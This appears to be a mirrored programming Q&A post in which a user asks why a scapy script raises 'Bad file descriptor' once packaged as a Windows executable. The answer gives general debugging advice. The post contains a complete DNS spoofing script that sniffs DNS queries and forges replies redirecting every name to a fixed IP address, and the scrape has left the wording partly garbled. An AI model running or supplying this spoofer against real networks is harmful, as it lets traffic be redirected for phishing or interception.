Monday, 15 September 2014

python - scapy OSError: [Errno 9] Bad file descriptor -



python - scapy OSError: [Errno 9] Bad file descriptor -

i'm using python 2.7 , scapy-2.2.0 in windows xp. i'm trying dns spoofing , works in python. when create .exe , execute it, got error

traceback (most recent phone call last): file "dns_spoof.py", line 17, in <module> file "scapy\arch\windows\__init__.pyc", line 523, in sniff file "dns_spoof.py", line 15, in dns_spoof file "scapy\sendrecv.pyc", line 251, in send file "scapy\sendrecv.pyc", line 237, in __gen_send oserror: [errno 9] bad file descriptor

how can prepare it? please help.

this source code.

import logging logging.getlogger("scapy.runtime").setlevel(logging.error) try: scapy.all import * except: scapy import * def dns_spoof(pkt): redirect_to = '172.16.22.91' if pkt.haslayer(dnsqr): # dns question record spoofed_pkt = ip(dst=pkt[ip].src, src=pkt[ip].dst)/\ udp(dport=pkt[udp].sport, sport=pkt[udp].dport)/\ dns(id=pkt[dns].id, qd=pkt[dns].qd, aa = 1, qr=1, \ an=dnsrr(rrname=pkt[dns].qd.qname, ttl=10, rdata=redirect_to)) send(spoofed_pkt) print 'sent:', spoofed_pkt.summary() sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)

it looks wrong file descriptor (handle) beingness used. e.g. open stdout (pipe) used socket.

if understand correctly, same programme works source , fails when rolled exe. right?

if ran on linux, utilize strace figure out which.

equivalent tools on windows process monitor , logger.exe.

python python-2.7 scapy

No comments:

Post a Comment